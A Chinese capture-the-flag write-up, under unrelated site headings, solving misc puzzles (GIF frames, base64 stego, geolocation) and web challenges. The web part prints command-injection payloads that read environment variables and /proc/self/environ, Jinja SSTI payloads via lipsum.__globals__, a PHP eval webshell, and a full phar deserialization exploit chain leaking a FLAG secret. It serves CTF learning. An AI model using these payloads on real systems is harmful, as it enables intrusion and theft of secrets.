当前位置：首页 > wzjs >正文

平昌城乡与住房建设部网站潍坊做网站哪家好

wzjs 2025/8/17 4:23:10

平昌城乡与住房建设部网站,潍坊做网站哪家好,阿里云服务器ip做网站,网站建设软件定制开发misc misc1 查看源码gif取证，那就是分析那一gif图片了，随波逐流直接gif分帧查看，在cc翻到 misc2 此题乍一看不知道考啥，仔细分析一下只有一张图片，也只能考图片隐写了，另存为010打开，看到敏感…

misc

misc1

查看源码gif取证，那就是分析那一gif图片了，随波逐流直接gif分帧查看，在cc翻到

misc2

此题乍一看不知道考啥，仔细分析一下只有一张图片，也只能考图片隐写了，另存为010打开，看到敏感base64字符，解密得到fllag

misc3

首先注意审题，不然有得受的。

图片打开，信息太多了，直接百度地图搜索珠江城。

开全景一看，没错了，看到了广州银行与创兴银行

大致位置确定了，接下来就是找这个视角位置，首先这视角珠江城前方，且很高。百度识图一下，发现小红书提到四季酒店，高德地图一看，有可能，试一下果然是

flag{广东省-广州市-天河区-珠江新城珠江西路-5号}

web

ping_server

直接抓环境变量env

还有高手直接盲抓一手环境里的变量$FLAG

ssti也能打，不过还是抓环境127.0.0.1%0a{{lipsum.__globals__.os.environ}}

127.0.0.1%0acat /proc/self/environ（利用proc读环境）

Proc 目录在 CTF 中的利用-安全KER - 安全资讯平台

当然也可以printenv

printenv命令 – 显示系统环境变量与值 – Linux命令大全(手册)

template_injection

首先fuzz一下，发现386的长度的被过滤

这里关键词绕过还好，主要是这个()与[]被过滤了就很难受，那只能利用os读环境变量了

name={{lipsum.__globals__.os.environ}}

upload-difficult

非预期

上传一句话木马<?php eval($_REQUEST['1']);?>，然后直接找flag即可

预期解法

上传一句话木马后，发现了classes.php

<?php
class FileProcessor {private $handler;public function __destruct() {$this->handler->cleanup();}
}class TempFileHandler {public $filename;public function cleanup() {// 触发__toString的关键点echo "Cleaning: " . $this->filename . "<br>";if (file_exists((string)$this->filename)) {unlink((string)$this->filename);}}
}class Logger {private $log_content;public function __toString() {$flag = getenv('FLAG');return base64_encode($flag);}
}class DatabaseConnection {// 保留混淆类public $query;public function execute() {new PDO('sqlite::memory:');return "Executed: ".$this->query;}
}

就是打一个phar反序列化。

<?php
class FileProcessor {public  $handler;public function __destruct() {$this->handler->cleanup();}
}class TempFileHandler {public $filename;public function cleanup() {// 触发__toString的关键点echo "Cleaning: " . $this->filename . "<br>";if (file_exists((string)$this->filename)) {unlink((string)$this->filename);}}
}class Logger {private $log_content;public function __toString() {$flag = getenv('FLAG');return base64_encode($flag);}
}class DatabaseConnection {// 保留混淆类public $query;public function execute() {new PDO('sqlite::memory:');return "Executed: ".$this->query;}
}
$a=new FileProcessor();
$a->handler=new TempFileHandler();
$a->handler->filename=new Logger();$phar = new Phar("iclesctf.phar"); // 创建一个名为 iclesctf.phar 的 Phar 文件
$phar->startBuffering();       // 开始缓冲，以允许修改 Phar 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 设置 Phar 文件的存根（Stub），防止被误认为普通 PHP 脚本
$phar->setMetadata($a);   // 将 Chunqiu 对象作为元数据存储在 Phar 文件中
$phar->addFromString("exp.txt", "test"); // 向 Phar 文件中添加一个名为 exp.txt 的文件，内容为 "test"
$phar->stopBuffering(); 
?>

配置看配环境小记之phar.readonly=Off坑_uncaught unexpectedvalueexception: creating archiv-CSDN博客